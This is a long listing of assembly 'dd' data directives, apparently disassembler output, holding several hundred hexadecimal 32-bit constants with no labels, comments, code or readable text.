dd 803A3F3Ch, 0F5EC5851h, 5365A7h, 7075D32Ah, 5F200BE6h
dd 0FFD79400h, 9734A378h, 43C3C12h, 0AF1A8E01h, 0D030B62Bh
dd 0E70036DDh, 0D8F5322Fh, 3A1F09ACh, 94008297h, 0DAF9D224h
dd 0C207382Dh, 4DB37A6Ch, 2CBB91D1h, 3BDA1DCh, 83FE25A2h
dd 8E887207h, 1D3D0A70h, 0A88D000Dh, 3B7E4746h, 0C0F02D9h
dd 98576383h, 4280E88Fh, 43FC306Dh, 8081FB3Ch, 9CF9859Ah
dd 21D30Eh, 996F11BBh, 66E5ACEFh, 0E7922428h, 9B4F400h
dd 233D147h, 0E8D0F50h, 53213F52h, 0EC79C751h, 7600A7F2h
dd 0C69A934Dh, 347310h, 5D21E00Ch, 390DB666h, 86093600h
dd 453D22A2h, 0F8D4006Ch, 6433D8F6h, 810B8530h, 0C9132Ah
dd 0BC7449E0h, 8F23Bh, 648056BDh, 11286DD4h, 2FB5F600h
dd 0A6C7B93h, 4EE90008h, 0B11ECEC9h, 4D07E1FCh, 0F1D1577Fh
dd 945CAE20h, 95830015h, 0A6AB1263h, 0B499A7C4h, 0EE01E702h
dd 0B6494007h, 3CFB008Dh, 0A9273D34h, 1900CF94h, 0B9D60415h
dd 0B4201Ch, 95EE604Dh, 2F78F68Ch, 91F1DF00h, 988525B6h
dd 5B8900ECh, 0C3FC10Fh, 0DE007BDDh, 5EA3C431h, 4C3D23EDh
dd 0D51F417Eh, 6D24C139h, 0F40D019Ch, 3F0BE93Bh, 0E1FF633Dh
dd 0C3EBFD06h, 0CD7C059h, 0F9C50381h, 2629F358h, 4B6F5EE8h
dd 6203707Dh, 0A4949CC7h, 0C096CB1Ah, 9DCB20h, 0B1D6DDE8h
dd 6D214086h, 73658E00h, 9E52A511h, 0FB909Bh, 0FDC16E3Dh
dd 0A6F0E4D4h, 879CE800h, 0A308615Fh, 894403BEh, 0EEB9D7F5h
dd 0E1EA22A0h, 1237B001h, 0DF3887F8h, 72D549E4h, 0D3BF1D7Ah
dd 2372C060h, 7ECD2114h, 77982500h, 0EE200912h, 0B545000Dh
dd 4FDB9779h, 0ED003FE6h, 0AE956306h, 508AA9C4h, 0B26EF83Dh
dd 87A3072Ch, 0C0A83710h, 0C868AB77h, 5232D00h, 0CD033624h
dd 2C622867h, 83D000D8h, 0FAB2284Fh, 10001586h, 0D35D9435h
dd 38AA54h, 0BFBCEBF9h, 84C26298h, 0E98CA300h, 4CFE59F7h
dd 29B0065h, 61687301h, 4F7F3D3Ch, 2A82DD30h, 18892B2h
dd 0C6AF9B91h, 8059B0BDh, 0E8E08621h, 78EB1768h, 0DEBC0014h
dd 89BAA36Ah, 3F3FD931h, 0B9250163h, 3A19300Eh, 7C70860h
dd 997B2E69h, 0E1152060h, 0F80F9B67h, 0D2FEDBh, 1FC7BEE4h
dd 26CE004h, 0FFBC5F4Dh, 20409DB6h, 60984B09h, 0D8AE80C0h
dd 0F010BD0Fh, 8A400133h, 0E86DCFBCh, 3B2080DEh, 0FCE59487h
dd 2EF90092h, 10A4C704h, 0F1794B7Ch, 76CF0D03h, 0D029A2ABh
dd 0A0EB66F3h, 48B90B82h, 0D0010C11h, 0D862815Dh, 9FBCFCDBh
dd 6834190Eh, 1C00777Ch, 0FE75F5C5h, 0F89D0059h, 4525D332h
dd 470564A7h, 0C2E3F1F6h, 7E3FE3C0h, 13570038h, 0E910B816h
dd 6E3FB588h, 0B1A413F7h, 7EC4607h, 5AA6E290h, 5CF100C8h
dd 0D919AE32h, 0CB00B208h, 25883D82h, 1CDBB6Fh, 2740A22Ah
dd 207F63C3h, 4A777BB4h, 6A879F07h, 919090EBh, 772EBB97h
dd 0C747001Ch, 0A0B7A3F5h, 2107013Dh, 0FE437ABCh, 0C00458D0h
dd 38ABE0BAh, 7B0692C1h, 3ED0622Eh, 66F8D3F8h, 96B1EF00h
dd 0E5D98CEh, 76DC00AFh
dd 0FC3B951Bh, 0DD00B337h, 925E0111h, 3E4B22Ah, 531AD0BAh
dd 14E836F9h, 0FD008131h, 0E83D2947h, 4C0BBEh, 0C82E37E7h
dd 0C70FE00Dh, 0B0445000h, 2BB15283h, 0B8DE4821h, 22D6DA03h
dd 0A2E8432Ch, 60E01ADh, 0A36BC464h, 98AEA72Fh, 3CDEB86h
dd 0AFEA1620h, 0ABA09F32h, 360051E6h, 0D7DE6782h, 806E4BCh
dd 0C95DC848h, 0A6A36200h, 0B7F95Fh, 4E0CB20Bh, 0D8F2E4E9h
dd 0AC108217h, 0D2989843h, 0E69B40h, 7C5D7BB0h, 0C24A12F5h
dd 670BA400h, 0F0610689h, 4EE70142h, 0E655D3D4h, 4550F027h
dd 520BC896h, 0D06C93C0h, 0C37A8Ah, 0B4AE2AB6h, 7C12DEFBh
dd 0B25E1C00h, 92B39F1Dh, 0BCEF00BBh, 6A75AB48h, 0C10058DFh
dd 42E4F28Ah, 2A7411CAh, 0B09B8Eh, 18EC646Ah, 8846432Bh
dd 0CC85102Eh, 0F1B29C47h, 6584C07Fh, 73A013CBh, 0E6148098h
dd 0CE0040FFh, 0E1318724h, 2BD3D38h, 4EE45CDFh, 0C4603928h
dd 0BF001374h, 9C29CA36h, 7FE4B0Ch, 0E7B4B0FDh, 485C8045h
dd 6501B8A2h, 0CF64788Bh, 0D2D04022h, 0DB4C005Bh, 0CAF6E8D3h
dd 0A209A1BFh, 8056E47Ch, 64966257h, 0B84BF4F2h, 0A71600D8h
dd 3265AE23h, 3300D5B6h, 153DF450h, 7C08228Ch, 0E4EF6B5h
dd 0F5314486h, 6607ED20h, 4EC13D54h, 3F5D8FD2h, 0B3D0E1F5h
dd 0F2CD0B2Fh, 0AC00C838h, 0E01707DDh, 86875E00h, 0F01FA63h
dd 0ACF8954Ah, 25F3DF00h, 5CEF4FAFh, 36D7001Eh, 0E09C6E02h
dd 240091A1h, 90657E74h, 0B1CE578h, 0AF5D6126h, 546AAC00h
dd 10010C1h, 0D5F05B8Ah, 4BA1D7h, 0CBE4BBCCh, 27751BDDh
dd 26D8FA00h, 8B233195h, 0BC940Fh, 6B32679Dh, 5100CF11h
dd 0B19141DCh, 315490h, 0E7DAFC0Eh, 9FBE7DDDh, 0D1EC3013h
dd 0A0FB4C60h, 550E00AEh, 0A1D49BABh, 3950BF5Ah, 20004CF0h
dd 577D1287h, 0C0F3AA46h, 0B8D2EC86h, 4E006CB1h, 9C01B4B7h
dd 0ABAF26h, 5D4CA70Bh, 1329999Ah, 0BE030376h, 0CAC23EE5h
dd 161CF0EEh, 79F803FDh, 0B281BC88h, 0DDDC3097h, 9C38FB5Dh
dd 0A89580B5h, 0FBA19FEh, 0A00D4BC3h, 0B6009451h, 6BF35E97h
dd 768788h, 1D0C1117h, 9BF67C3h, 0E819D817h, 6015684Fh
dd 861F7EFEh, 6F230333h, 76B231FDh, 0F0588BBAh, 98D2803Ch
dd 68808934h, 0E7063D9Ah, 0F7EA1280h, 0F9FA903Dh, 65964F0Fh
dd 0AFD48015h, 0D99920h, 0D124CDA4h, 292A896Fh, 5E566903h
dd 0E8024D94h, 125274A5h, 0EC3EEEh, 162FA279h, 9974A1E5h
dd 0CE325600h, 513395C5h, 0F9A8018Ah, 0F422BE6Dh, 0D1342094h
dd 0D4A75000h, 3D75C5ACh, 0E27304D5h, 80E5EAE1h, 0A40C4B00h
dd 0B22F1B00h, 0A7DB3241h, 5A060059h, 0D63D933Eh, 0AF4C4882h
dd 0F7FF0030h, 7B727507h, 67BD3C9Bh, 0A1AE4C80h, 0DDC3E73Ch
dd 0DE7DF500h, 48A20C50h, 0BA9D0039h, 72D0A940h, 0A0031D81h
dd 0F614BF89h, 0F9B288ADh, 0A8CF6057h, 99DC9A05h, 0DE017C9Ah
dd 0C1B7E8BCh, 37E443E5h, 2CD00D4h, 45EFF663h, 0D5F084BEh
dd 3A843CFDh, 0E8C6937Ch, 29BC00AFh, 70D9DFBBh, 0F2138890h
dd 78207958h, 0F91B54h, 75FCD091h, 62608CE4h, 7A3438E1h
dd 22E347Eh, 0B0021089h, 68A76D1Ah, 4C7A4ED8h, 0D11A4CDh
dd 0C03A72E3h, 0F551003Eh, 427AE0D3h, 398E18D6h, 0C26D50A5h
dd 0FDCBFC00h, 1048D22Fh, 99200E0h, 19AF389Eh, 7118124Ch
dd 4EF0E216h, 94080C1Dh, 0BBEE9C49h, 5D123217h, 1656AC00h
dd 5E19EDh, 6141E0AAh, 0ABDC6B24h, 8FAFBE3Ch, 818AEAE3h
dd 0E8D60B20h, 0B750A080h, 0E7DB2D59h, 89B59F0Ch, 0B05E93Bh
dd 0E0A8AD6Eh, 0AFE5C700h, 731FF453h, 39C05861h, 7D4C1BEAh
dd 5A550033h, 68D35211h, 700E443Bh, 0C093DCC1h, 2482B85Bh
dd 0CC09000Ah, 0E733D9ACh, 0D4133EFDh, 6AEA926h, 1035BC56h
dd 8DEC6900h, 979C37A7h, 31EF009Dh, 4777993Dh, 7C0093B0h
dd 0A4AAE1C1h, 30F371B5h, 338364Fh, 543080A2h, 7538A2B9h
dd 8BE4DAh, 0CAC01F5h, 7C1CDB1Fh, 2532110Ch, 564A09Ah
dd 1D6AE8FAh, 16D8160Ch, 0FB4897A4h, 0B7FE7C16h, 5B8FE100h
dd 0CB5CE63h, 64B0C9h, 3F58FAEEh, 4FA8E5C2h, 0B00070B4h
dd 20DCC616h, 0D9B8A163h, 0D8010CF5h, 0B0606218h, 0B6E0E9h
dd 2E231DFEh, 4632F6B0h, 0D283E813h, 807D40C0h, 0AD00077h
dd 0CB1B45AEh, 63921B9h, 89A280A6h, 0B274FE03h, 0A1981CB4h
dd 0A06740EAh, 0A2152FDh, 6F18A407h, 713048A3h, 0E8BB7E0h
dd 83AC3C40h, 511DEE0h, 39001BDAh, 61705F67h, 1E665345h
dd 40A1FFD1h, 867F20B6h, 67013E4Ah, 6E04152Dh, 0F9C4C27Ch
dd 0AB640034h, 98BFE394h, 3F03F413h, 0B15FAF18h, 5623B845h
dd 85C50E83h, 1F7FA3h, 96FD010Ah, 3B7EBB7Bh, 0FB103Ch
dd 0C1D01CE1h, 22B272h, 5621F1CCh, 10EAF840h, 5A7B6D00h
dd 0E8C0B34Ah, 0B176002Dh, 0AD333964h, 6300AA45h, 0CB12E99Ch
dd 66AB67h, 3A2BE40Dh, 429536B7h, 0FF2F7600h, 0E70CEB25h
dd 56A7001Fh, 5954CFF5h, 0AA00B703h, 8F4212Ch, 0A36E5Ch
dd 0ADEDFE29h, 3130A9DCh, 80D77D3Ch, 54351042h, 25344ABCh
dd 17D42582h, 0FC451100h, 1E6093h, 9BBB631Ch, 14C6477Ch
dd 7600747Fh, 0C8E9F23Eh, 623B60h, 0E8F15B99h, 9FCB6FC3h
dd 2B0FED78h, 0A0B025DBh, 0B2D48ADh, 84FAA05Dh, 0BF0200CFh
dd 3E3BBD0Ah, 4D03E5CEh, 365110F2h, 4E79A0A6h, 0FDEE6Bh
dd 0F9670CC0h, 24B4AB96h, 0BA9B711Dh, 187D2640h, 0EC1C33h
dd 7355F8C4h, 0C50695B0h, 8FD42F00h, 83CF8751h, 0A7F8CF54h
dd 4D1E5D60h, 0DA05E90Eh, 27BCBD6Fh, 0EA42FB80h, 1892F2AAh
dd 8816FBE4h, 0DCA2C798h, 3CFF5B80h, 0DDFEE0FAh, 67327900h
dd 6C8CDE6Ah, 0F9C100DAh, 3AF4895Ch, 0B3003529h, 0FBEED938h
dd 0FE732369h, 0C7A00FA1h, 71021A5Eh, 0DCA0FED6h, 1FC0B06Fh
dd 0AB738201h, 84324477h, 1BB9C050h, 5D9100BDh, 9AC8DE3Eh
dd 5F78C6AAh, 0D70008FEh, 8CC0E9C2h, 0AB2E12h, 5114FE95h
dd 15C7666Fh, 0FA924706h, 0F05FEAh, 0AF077641h, 3E597203h
dd 1C45BF00h, 27664F46h, 0E21D0077h, 631B81ACh, 10001F6Fh
dd 0CE7FB590h, 854838h, 0C651FB37h, 924E58A2h, 20BD6903h
dd 0F03429A5h, 662A8h, 0F07E9E56h, 24C43B09h, 2B05977Ah
dd 0D50E05A4h, 0FF25D000h, 12194Ah, 0C932B50Fh, 270721D6h
dd 0D8745100h, 8EDB040Dh, 9F750140h, 21CC3A0Ah, 0E8BDEC6Fh
dd 20005E2h, 11FC1662h, 0D24F54h, 5AEFE93Bh, 0CD7464D6h
dd 80E75238h, 4394F502h, 0AC3D06h, 0EA7ACF30h, 799A9FD5h
dd 0C12E420Fh, 0EFA4810Ah, 0F1E8BAA0h, 3A280A23h, 20CCC0F8h
dd 773200A5h, 53421CD4h, 0C503D798h, 0CEA0797Ch, 0BD0BD82Bh
dd 1C7F680h, 0C01FACD0h, 0E417515Ch, 140005B1h, 45C35948h
dd 0C23755h, 6F1B08ABh, 0D04B784Fh, 0A87C6C12h, 0C3D95000h
dd 493074DFh, 0F8031456h, 7638E3A7h, 1CE866C8h, 0EAF2C200h
dd 582F95C3h, 91050013h, 626ABDD5h, 0D813081Fh, 9F00867Dh
dd 74EF55EAh, 0E55F0029h, 46844DE8h, 3DE6C811h, 7DB14503h
dd 0E8A97391h, 16D7C1h, 5826F15Dh, 6BE6D8A7h, 51004BEAh
dd 0F794E290h, 0D34397h, 4274108Fh, 0D95D6107h, 8092AE38h
dd 267755E8h, 7F073DAh, 8011F5B6h, 9094F797h, 128F162Dh
dd 9A7EE800h, 6EC8AB6Bh, 60C4F0F0h, 1C3F11AFh, 280E4930h
dd 60545BB6h, 974DCD6Eh, 2D951C12h, 14B3007Ah, 73991917h
dd 656C4500h, 0D81C0BF5h
dd 591D01E2h, 24B7FF81h, 3617F070h, 38FB7109h, 4D56005Ah
dd 202CB6h, 0BB55EBAEh, 12576FF8h, 9E499603h, 0C0FB3F7Bh
dd 0E6FF2BADh, 0F2BA1FC8h, 0C6F7479Bh, 71A680AEh, 6F00CD17h
dd 56B82B2Eh, 0FCF4B112h, 23DC3997h, 102D7681h, 0C8D2BDA7h
dd 38C04E66h, 0CA3A691Ch, 1977182Bh, 0DADBCB4h, 5CE61300h
dd 0EAAB6685h, 0ACE45063h, 0C0B2F22Dh, 0BC0F0580h, 2C3CA798h
dd 15386081h, 69575BFh, 3CCBA6CAh, 210807Dh, 92142726h
dd 428088F6h, 0ABB51966h, 8073463Bh, 68A1D4C1h, 1CD57433h
dd 1C6C20Bh, 955A39CFh, 2E82C05Ch, 0F17AA50Bh, 0E5A6C1ADh
dd 0F71AD20h, 16BC2C12h, 8B7FE3A1h, 32C0E6B8h, 660093B6h
dd 0C5CB27C6h, 3F7AB5A8h, 0D70FFD8Eh, 0E074439Fh, 7B837639h
dd 0FE80597Ch, 0F0FB1BF9h, 7F00CAE8h, 867ED2ABh, 51B624h
dd 8149AEDCh, 0D9053F85h, 7F639100h, 0D7E65C4Ch, 0BAC3008Bh
dd 28E260E4h, 0DF00734Ah, 86B50616h, 0F9632Dh, 14EBF25Fh
dd 0FFD0048Fh, 100BF124h, 0F9551E60h, 298D1F36h, 9130C012h
dd 0BF742A1Fh, 0A806FB72h, 4FC8C56Ah, 0D7C701B9h, 1DAFD219h
dd 0B9B63081h, 2F4E351Ch, 672DB680h, 59B8BFh, 0F499D818h
dd 0CDAAADACh, 115AC100h, 0CF63E649h, 67EC61h, 59FC7AD4h
dd 2A52257Eh, 0C4394E00h, 0B7F54C71h, 38DFCD1h, 3151EE85h
dd 0B2D8257Ch, 1400CD29h, 0A2CC109Dh, 1F1141h, 1B666D9h
dd 0F2337C0h, 250085EEh, 33A0DD38h, 1A429B8h, 1C2E8104h
dd 0D443BBF9h, 5B00E3B3h, 0C878C95Eh, 3028AE0Dh, 0CC988398h
dd 0DC004901h, 0BE860712h, 90154054h, 1FC100BCh, 0F9E4165Dh
dd 4F0058E6h, 23EDEA73h, 9DA2C4h, 0E7A8B076h, 0C0EC685Fh
dd 0F3527D00h, 0A4B969F6h, 55A03BC7h, 909E7DCh, 4024EF0h
dd 904814B7h, 503CA24Ch, 0DC1C00CBh, 0D82D2482h, 38100A3h
dd 288EE0D0h, 6205FDAFh, 1E83909Dh, 80328840h, 79DEC061h
dd 0C4A0078h, 0FC536A88h, 8A30D095h, 97A6D955h, 7299E2DAh
dd 25162AAFh, 0EA1201D8h, 0D67607ACh, 8CD04085h, 77779626h
dd 5818B300h, 8B2F7D12h, 0E6FC0587h, 0C0909C8Fh, 0D9A3DAB5h
dd 2EFADE01h, 766BF318h, 1F129447h, 0B8A44817h, 15BA0794h
dd 7B6B2254h, 0BDA7200Eh, 4344F059h, 7A00CD87h, 0EBD5960Eh
dd 48A109ABh, 0EA3E6486h, 0DDEF6080h, 68A21836h, 80063E8h
dd 801D2B1Eh, 478A71h, 85CDA31Ah, 0E792966Eh, 551F4400h
dd 7FA0E914h, 7560016Ch, 0C4C315EFh, 9F1C607Bh, 0B886FC03h
dd 0B072F6CBh, 753E42Ch, 736D6E29h, 0E3ACD00Ah, 0FD0E09EEh
dd 278634E2h, 3AE0B777h, 2F49353h, 50E894C0h, 8F801384h
dd 0F3D0708Bh, 0BE54CD07h, 44707FBBh, 0F8085315h, 6527004Eh
dd 3CDDF2D7h, 4300B6CBh, 108009B7h, 0F8FDF5C8h, 0B2AC00D1h
dd 3BEA68E8h, 96007C9Eh, 0B94EBB86h, 5CAACD75h, 0BF0061F2h
dd 8BB1621Dh, 0F00EF4Ah, 0DDC7B692h, 0E77978h, 0E9274D2Dh
dd 0BAB9DF67h, 6001B839h, 8AE31B20h, 0D3740079h, 75C8F505h
dd 0FB7ABA40h, 0F6A2B900h, 0AA722534h, 0D92700ADh, 4648EC6Fh
dd 4F001851h, 3F5DF70Eh, 582E68h, 504284EDh, 24C7958Dh
dd 0D38D598h, 9A00FF2Dh, 8B87C833h, 0A546F0h, 0A65E04C5h
dd 0F3DBABB3h, 37E1C300h, 818A7ADEh, 0ACF700A1h, 26A94311h
dd 9200B1E8h, 0B25EFFCBh, 0E3D6B09h, 0CE9ACFEEh, 0FA60AD2Fh
dd 0A4A06AB5h, 7CA6D200h, 3B7D01D1h, 0E444077Bh, 50AA1407h
dd 5CDAE8B1h, 0C4010871h, 75EF46B9h, 24C00F8Dh, 525800B7h
dd 0FA5D6955h, 0F2006307h, 9DEAEF82h, 171DD9Ch, 5E15CF42h
dd 0D0138A17h, 41003138h, 677DEB0Ch, 5B8027h, 0BE33A92Dh
dd 23BCB8A1h, 84DCF001h, 5C7942C0h, 7B7D4h, 6D91B059h
dd 36F8CDA4h, 0C692BE00h, 7AE1DA3Ch, 0E255E6B7h, 4F0E48B6h
dd 4FBEA900h, 7D8AAA8Fh, 20C0B8E0h, 51DB32B5h, 484924F2h
dd 52580D8h, 0FF1FEF47h, 0B3453500h, 0F1427C8h, 8CDA0016h
dd 7F0281DBh, 7400B6C3h, 0DF7740A6h, 654FCA7h, 480E1C7Dh
dd 4F98816Ah, 41B0E307h, 90611124h, 5AF01B96h, 881C019Fh
dd 0CC63D6DDh, 0F2E02078h, 0C2F9BA03h, 984C2641h, 32FFC4Bh
dd 24088E3Eh, 83E892CDh, 81032EACh, 0EF1FCA4Ch, 2973E023h
dd 92520015h, 98BFD534h, 0DF7865E3h, 0BD896C00h, 0F49C2643h
dd 58711706h, 52A6039Fh, 0E3A8D2B5h, 7000CD93h, 3A8BE923h
dd 5E019Bh, 0DDF4F587h, 9A92E8E1h, 33CC8400h, 0A2370D19h
dd 6CD44CE3h, 0BBB2C200h, 612F8023h, 5C46F60Eh, 509AC07Eh
dd 30CEEA1h, 0B1C65FD5h, 3EB9E799h, 0AAA8C865h, 0DCB09703h
dd 0B0DD4B9Dh, 4C1F2ACDh, 0EE003AEBh, 0B34C8BC7h, 1998439Bh
dd 0ED522700h, 0DCFE0C69h, 1C5101F5h, 6EB5D637h, 0B639F00Dh
dd 0DE9EAA00h, 0ABC7563h, 79B43911h, 10715C80h, 0F797A261h
dd 0D7035600h, 993A0CEh, 0D8C21F3Ch, 2980FCE0h, 0F94D9B2Eh
dd 150191EDh, 0A3C1FDC5h, 7DF4C8E3h, 0D7633h, 1D4CBED3h
dd 0BFABD9FEh, 0F3748700h, 1055586Ch, 0EA14C02Ah, 4D570B61h
dd 292E7914h, 2C6B00C8h, 0FDAC5A20h, 16C40005h, 4F1106D0h
dd 0CE009150h, 0F502D59Dh, 763F7C6Bh, 218F068Bh, 204F1FDDh
dd 0B440BB00h, 0E8899EBCh, 0C4E4E9h, 63FF6133h, 858C6720h
dd 0CA524C03h, 0C8D71992h, 5DE59Dh, 0D5D88DA8h, 53E35AEEh
dd 49507878h, 41E921F8h, 0E9A05EACh, 48C8EC76h, 89FC1AF2h
dd 0C0006E73h, 8CAA16C3h, 6F4363BAh, 1E6010ECh, 77FBD146h
dd 700015F4h, 0D3E4C79Bh, 4E5C1F72h, 4FC50C76h, 0FC3A8A20h
dd 0E6B90928h, 5AC58780h, 4F3958E1h, 7C6184F8h, 96E1377h
dd 0F4B40FECh, 8120792Fh, 7B191F9Ah, 173DBC03h, 807ABEA1h
dd 574E44h, 0F96AAC4Ah, 35CD5E3Fh, 0BDAACC01h, 0D5EC1C65h
dd 98C9E6C8h, 0AE0900ACh, 0E8DE354Dh, 2D120B82h, 0A6033D1Bh
dd 9821DA6Eh, 1D9C6D6h, 7C6FE42Ah, 8079026Ah, 0B19C0E60h
dd 72924EFh, 0FF3F43EBh, 0FFDB0CDh, 0AF715F5Ah, 27A0AB5Eh
dd 0A33901FAh, 9CBDD2AAh, 1EEBECF2h, 5101B8FCh, 5A6A25D3h
dd 0DEE83807h, 938F0054h, 1A65AA4Ah, 0C600E1D1h, 0FDC44B3Eh
dd 0B3586Eh, 2DD7E653h, 60198288h, 0AFC87200h, 0A2139C5Bh
dd 0F51C003Ch, 3B6C6BC3h, 870017A8h, 349958B0h, 3EE6B5BAh
dd 0D880A5E1h, 74A6C80h, 600DAB7h, 0B896CEF7h, 0FE9379h
dd 8E190203h, 42A14580h, 0CF491200h, 0F3C9EE4Ch, 5911166Eh
dd 0D1B70E40h, 5C6785A1h, 61B1401Fh, 5D00822Ch, 3971EBC9h
dd 0C56A1BCh, 1EC16BC5h, 980E1D10h, 60B03F8Ah, 0D7BED509h
dd 0B2750041h, 6F76E981h, 0F00066A6h, 0A0E4A704h, 0FFC611Fh
dd 0C478157Dh, 0E7206DC3h, 2016E091h, 0CC071C14h, 0A353D268h
dd 0CA5CB180h, 96C700B5h, 0F1FA98C8h, 16034EBDh, 666003BCh
dd 6AF4B047h, 0DE0A3AC0h, 99337500h, 453489FFh, 6F4F1400h
dd 0CAB9A1D2h, 12A400C0h, 41F8A964h, 6600E360h, 0B47D6B24h
dd 0A7145Ah, 40AF5928h, 496D8E8Ah, 0B8AA6C00h, 6B1225A8h
dd 53C7007Bh, 0DAA04EF1h, 0D000CF87h, 0CA27178Ch, 0F9E467h
dd 0D846BF0Bh, 0A0702D56h, 1806A800h, 6E7C7D1Bh, 0A59A0423h
dd 80C821CEh, 0B049251Ch, 67B0771h, 0D200197Bh, 54B2F4F8h
dd 3F4AF2BCh, 0FB00ED04h, 37F6A00Dh, 84025727h, 0C467225Fh
dd 118A60B0h, 0DA6800E1h, 0B93DAA1Eh, 0E600F6FDh, 1593876Eh
dd 2D29Dh, 8198834Fh
dd 0DB3D53BEh, 491C0A01h, 0BB01D358h, 0D5F97CE5h, 0AC1420h
dd 48636633h, 13C6970Ah, 0EAFC9A0Ah, 843DE8CEh, 0F44B92B3h
dd 7ED29280h, 3B49F6DAh, 0C30013FCh, 904FF779h, 0E101DCBBh
dd 145564E4h, 0BFD06F0Eh, 585A2417h, 692C0178h, 0E2DF0D04h
dd 0AC4797E0h, 20579A00h, 6D25EE6Fh, 6B7B0033h, 377395EAh
dd 0C9000D3Ch, 0DD0540FAh, 7CDE8314h, 689D00EDh, 2F46B6B8h
dd 0B43F16D6h, 0B9649C2Dh, 380A0A26h, 900F6B3h, 1DFE2C32h
dd 28400047h, 83849EE9h, 4D00D172h, 7E1E6F9Bh, 0EA53734Ah
dd 492A002Eh, 68A3C5BEh, 2B769324h, 0C07CF000h, 0D62D0F3Ah
dd 6C2300E4h, 0B972B01Eh, 0E500380Eh, 93F88163h, 0BD4F33h
dd 9B60AE06h, 0AB56B383h, 1D6F141Eh, 0AF2DB41h, 782427CCh
dd 0A4528094h, 69F0870Ah, 0F200DB8Ah, 0C404FAE2h, 3D01F4B4h
dd 0A70008F9h, 0FFEF9203h, 0F325A6CEh, 0C7F26016h, 99E20321h
dd 7AE9D620h, 54EF6EA0h, 6EEE81Ch, 48DC3700h, 0D0B343h
dd 0D1395786h, 13A46881h, 0B9117C60h, 12349CECh, 465C0BADh
dd 8F38210h, 0D0733901h, 0D13488EAh, 0C79A4D0h, 0AF53AB33h
dd 5F03DB38h, 1FD9D0EFh, 0F8E7994Dh, 0B1FAA310h, 905D0B00h
dd 0D1FFADFEh, 0C83B04FDh, 1D4E04Ch, 541C580Ch, 0F2CC81C0h
dd 5CAE28F8h, 0E7BE180Ch, 37D49155h, 0E546A00h, 3D29B081h
dd 8B7A0071h, 4FD22695h, 0E600FCD4h, 0EE6A9A37h, 0F4612047h
dd 87E901A1h, 0FAC34BB1h, 4D9FF832h, 1DB4F500h, 23F6FF5Eh
dd 0BB563FBDh, 0F9B797h, 4550D089h, 81E246EFh, 19B9D600h
dd 3C696117h, 38921776h, 21790026h, 0C84ED31Dh, 42033000h
dd 537F89DAh, 0B8F600EEh, 6ED95594h, 6B00B1FEh, 623B50ECh
dd 8071F0h, 604A7430h, 97651A0Eh, 5C4ED200h, 7990F6EAh
dd 0F637CF8h, 0F059E6B4h, 0A2BADBC1h, 2236C4B5h, 0F860B800h
dd 0D565E8CBh, 84D414D6h, 97ACD9Eh, 37525168h, 2892A880h
dd 2D543A97h, 4A539A0h, 43D00E62h, 8794E05Bh, 0F3330116h
dd 7AE34806h, 6F5AF80Ch, 0E009DB0h, 3AC105B9h, 0C41FC594h
dd 42C6E429h, 1F2AA37h, 0C0D6EDh, 8134635Fh, 0A52841F0h
dd 21299091h, 32CF4082h, 21C70C02h, 1744C92h, 788004D5h
dd 7E51BAB5h, 0CE00C9FEh, 1F42E0A7h, 0C0C276h, 0F65DDE8h
dd 28BF5D3Ah, 9C471500h, 0AF04BCF5h, 515900CAh, 0DA8C5B07h
dd 5000DF7Fh, 0C9E4E03Dh, 3B704505h, 0BFEB4EDh, 378DC27Ch
dd 961F080h, 453C1988h, 128305CDh, 0CB80B5AFh, 4981F7h
dd 2C6DBD4h, 0D396B8ECh, 0F675980Eh, 4F89E00Ch, 709BD2h
dd 57C569Ah, 0A284EE43h, 0C1F57F03h, 0E8C9AFB4h, 5C9BE32Eh
dd 400BE4Fh, 50606F80h, 0DD3CCBA6h, 54FB003Dh, 48BC5384h
dd 57B002Ch, 5F214061h, 0E6987FF4h, 63119D00h, 62281C88h
dd 90FA09B1h, 0F40F6E1Bh, 0DCD6B40h, 9700151Eh, 3A1FF56Ch
dd 0D46D53h, 0F2BE9F8Fh, 0B824D805h, 8E0B123Eh, 4B4F98h
dd 771AED3Fh, 4ECF0093h, 0B666B3B1h, 0FB06880Bh, 56B0DE90h
dd 1D8E7360h, 4E6FEA96h, 514317F2h, 0B08F1161h, 0A866B99Ch
dd 0D0A1BA00h, 860A5D3Fh, 0F5EB07D7h, 0CFDE0257h, 2D554B63h
dd 0AAE24488h, 0F3EA9000h, 871F48F2h, 670AC073h, 225135C7h
dd 8061963Ah, 33E759D3h, 7D458F93h, 7F3101E1h, 0B8113882h
dd 0D001E0A3h, 0B1E7CE00h, 2DA84310h, 381FC0Ch, 0D79047F6h
dd 0B4E89ADBh, 403F220Fh, 0AC440049h, 0D153D406h, 0B3CB00A4h
dd 0B97DE64h, 0E0B8E550h, 830AC639h, 54D38C66h, 0E6DBD0FCh
dd 345C0055h, 0A7594603h, 0E500608Ah, 0F7F19830h, 0FE7F0Eh
dd 57CEBE99h, 0CFEB3307h, 2F545E12h, 4385D800h, 7F1B6CCh
dd 9C3D3C7Fh, 172280C1h, 0DF002815h, 458E2A4Ch, 558452h
dd 44760BB9h, 0C8B39AA0h, 0C91F8D00h, 0ACB70D75h, 1DA1FC4Eh
dd 82FAB0B1h, 72B2A82Fh, 0C05C9F41h, 135016C0h, 93007CA4h
dd 700C9A12h, 72228244h, 0C12000A6h, 0B165F485h, 0B027BEEh
dd 9DF6172Bh, 8FB08116h, 3DEC6C54h, 0A1420155h, 6507B279h
dd 0E8086168h, 2C3393A2h, 0C823198Fh, 4C9F989h, 0EC51CECCh
dd 0E00CB05Eh, 9D31158h, 383A8497h, 958C1Ch, 0FDB7581Dh
dd 0B1BCF0FCh, 6C7C2A1Fh, 0EADF80FCh, 65488D61h, 0B0BFE278h
dd 0FC42009Bh, 19494AF3h, 0A30009C5h, 0F1998AD9h, 0A069EE66h
dd 0D11AAEh, 4C0FBC84h, 9C6320A0h, 89924100h, 234D6644h
dd 0DF6B0031h, 1E0ED410h, 7C007626h, 0F8354EEh, 0E857F14h
dd 53A40107h, 0FD34C0FCh, 4FC4E338h, 15BB4501h, 0ACDD2C02h
dd 0BF04A28Eh, 9BAC0EF3h, 745C7DA0h, 0ED072603h, 0C9A86E36h
dd 0D3B413B0h, 0B77E0014h, 0E2D1578Fh, 100E58Eh, 6EE3D24Bh
dd 0CCC4FCh, 0EA1F5ACDh, 0F262F74Ch, 0BF50D700h, 79A54007h
dd 0FFC50A16h, 398B9FAh, 0E04C646h, 0BA143107h, 0AE10B102h
dd 72B88D24h, 2728C086h, 1185599Fh, 0C03B52h, 0B89D4BCEh
dd 133965C1h, 0EFBEB5h, 0C2563157h, 0EA00B678h, 954807C3h
